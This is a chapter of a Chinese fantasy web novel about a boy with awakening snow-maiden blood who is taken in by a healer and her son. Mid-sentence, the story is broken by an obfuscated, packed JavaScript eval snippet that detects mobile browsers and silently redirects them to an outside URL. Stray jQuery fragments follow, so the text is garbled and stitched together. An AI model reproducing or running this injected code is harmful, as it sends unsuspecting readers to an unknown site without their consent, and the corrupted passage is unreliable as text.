等裴昭的身影消失在屋后拐角处后,裴清霜脸上和煦的笑容才褪去,认真看着朝平乐。
她右手食指与中指并拢,在半空中划出一道泛着青光的复杂符文,指尖所过之处,有淡淡的幽青色浮现。
朝平乐站在原地微微睁大眼,这是他第一次看到仙术。
所以,裴昭他娘其实是个隐世高人,这还是个修真世界?
那道符文完成的瞬间,一层半透明的翠色微光如水波般从中心荡漾开来,将裴清霜和朝平乐笼罩在其中。
“雪女血脉。”她压低声音,向来温和的杏眼目光如炬地审视着朝平乐问,“你是谁的孩子?你跟江家有什么关系。”
她语气中带着不容忽视的凝重,让朝平乐一时不知该如何回应。
“我……不知道。”朝平乐茫然地说,淡蓝色的眸子里盛满困惑。
雪女?血脉?江家?
这些词汇对他来说无比陌生。
“我从高处摔下来,”朝平乐认真回答,“醒来就在这里了。”
他没讲自己来自另一个世界,那听起来过于荒谬。
裴清霜的目光在他苍白到病态的肤肤上停留片刻,又轻轻扫过他那双淡得近乎透明的霁眸,不禁眉头微蹙,轻叹一声:“七岁的雪女后裔,怎会独自出现在古京边境……”
她若有所思回忆这几日的场景,喃喃:“难怪最近古京的天气如此反常。”
“异常?”朝平乐心头猛地一紧,瘦弱的手指无意识地揪住衣摆。
他想起传闻中拥有特殊血脉的角色,往往命运多舛,不是被人追杀就是身负诅咒。
不会要手拿祭天剧本吧。
裴清霜没有直接回答,而是轻轻执起朝平乐的手腕,她的手指温暖干燥,与朝平乐冰凉的肌肤形成鲜明对比。
裴清霜道:“你的血脉正在苏醒,但缺乏引导,随时可能失控。”话说到这里,她突然顿了顿,“若是你在百岁前……”
话未说完,裴清霜猛地转头看向屋后方向。
朝平乐歪着小脑袋也顺着她的视线望去,只见裴昭抱着一大捆药草快步往这边跑,脸蛋通红,额前的碎发被汗水黏在脸上:“娘!我回来了!”
裴清霜迅速撤去光幕,她脸上重新挂起温柔的笑意,仿佛方才的凝重从未存在过:“昭儿这么快啊。”
“娘!我都收好了~”裴昭气喘吁吁地将药草堆放在屋檐下的石阶上,撒娇似的说。
他转头看向朝平乐,眼睛亮晶晶问:“你能帮阿朝回家吗?今天时间不够的话他可以住下吗?”
裴清霜伸手揉了揉儿子乱蓬蓬的发顶,余光又看向有些局促不安的朝平乐,温柔说:“这得先问问阿朝愿不愿意相信阿娘,留在这里。”
“他是……阿娘表亲家的孩子。”裴清霜稍作停顿,似乎在斟酌用词,“父母遭遇不测,特地来投奔我们的。”
这个谎言说得前言不搭后语,朝平乐纤长的睫毛微微颤动,感觉能被裴昭当场拆穿。
谁知裴昭闻言只是意外的睁大眼,有几分哀伤说:“啊……那阿朝也太惨了吧。”
他抓住朝平乐冰凉的手腕,轻声问:“你愿意留下吗?阿朝,以后我们就是一家人了。”
朝平乐被他拽得一个趔趄,抬头时满脸错愕:“啊……好。”
——这就信了?
小孩的接受能力都这么强的吗?
但穿越而来的他,除了留下,似乎也别无选择。
朝平乐猝不及防被拽着跑了两步,无由指尖传来刺骨的寒意,像被冰针扎般。
他低头一看,怔愣地发现自己的指尖正以肉眼可见的速度凝结出一层薄薄的冰霜,并不断往外蔓延。
而更可怕的是,裴昭握着他的那只手已经泛起不正常的青白色,像是被冻伤了。
——“你的血脉正在苏醒,但缺乏引导,随时可能失控。”
裴清霜刚刚说过的话又浮出现在脑海中。
“松手!”朝平乐近乎本能地甩开裴昭的手,声音带上惊慌失措。
裴昭被这突如其来的力道推得后退几步,一屁股坐在地上,困惑地看向自己的手掌。
——掌心已经红肿起来,边缘处甚至能看到细小的冰晶在黄昏下闪烁,融化。
裴昭一脸迷茫,心想这是什么情况?
裴清霜却反应极快,一个箭步上前,一只手立刻贴在朝平乐冷汗涔涔的额头,另一只手握住裴昭的手腕。
朝平乐感觉到澎湃的灵力从额头涌入血脉,一点点压制住体内乱窜的寒气。
与此同时,裴清霜左手泛起淡淡的青光,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442427|167173||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缕缕灵力如丝带缠绕上裴昭红肿的手掌,冻伤以肉眼可见的速度消退,红肿也渐渐转为正常肤色。
“阿朝他……”裴清霜冷静斟酌着词句,轻声对儿子解释,“他生病了,身体有时候会控制不住……发冷。”
左右是傻儿子,编什么都信。
果不其然,裴昭闻言眨了眨那双明亮的眼睛,也没有害怕,而是笑了起来,露出两个可爱的小酒窝:“我知道了,我以后会保护阿朝的!”
朝平乐:“……”
他目头转向朝平乐,本来想说什么感天动地的誓词,但话到嘴边犹豫半天,小声问,“阿朝,那你能做冰棍吗?就是那种甜甜的、冰冰的……”
朝平乐沉默:“……可能吧。”
他摸不懂裴昭的脑回路,只是无言垂着头,抿唇盯着自己已经恢复正常的手指。
明明刚穿越时,裴昭拉着他跑了一路都没事,怪无常的。
“我给阿朝找件厚衣服。”裴清霜的语气温和,“昭儿你带阿朝进屋坐着。”
茅草屋内部比外表看起来要宽敞整洁许多,布置虽然简陋但胜在温馨,角落里还有个小书架,上面整齐摆放着几卷竹简和医书。
裴清霜穿进里屋,从柜中拿出一件深蓝色棉袄,给朝平乐仔细穿上,还喂朝平乐吃了粒丹药。
衣服是裴昭过年穿的,对七岁的孩子来说还是稍显宽大,但很暖和。
将到饭点,裴昭头正专心致志地往灶膛里添柴火,动作熟练地用火钳调整柴火的位置。
而裴清霜趁着裴昭全神贯注生火的间隙,压低声音对朝平乐说:“雪女血脉在觉醒初期极不稳定,特别是情绪波动时。你得学会控制它,否则不仅会伤及无辜……”
她顿了顿,安抚般摸了换朝平乐的头,声音更低了,“还会引来杀身之祸。”
朝平乐乖巧的没有动作,只是轻轻问:“为什么有人要追杀雪女?”
“因为雪女的血……”裴清霜话到嘴边突然停住,“这个以后再说吧,你还小,现在最重要的是隐藏你的特征。”
她纤细的手指轻点朝平乐的眼睛,一阵微光闪过,朝平乐感到眼球表面有轻微的凉意,像是滴了眼药水。
朝平乐:“……”
话说一半真的很容易让人抓心挠肝,姐姐。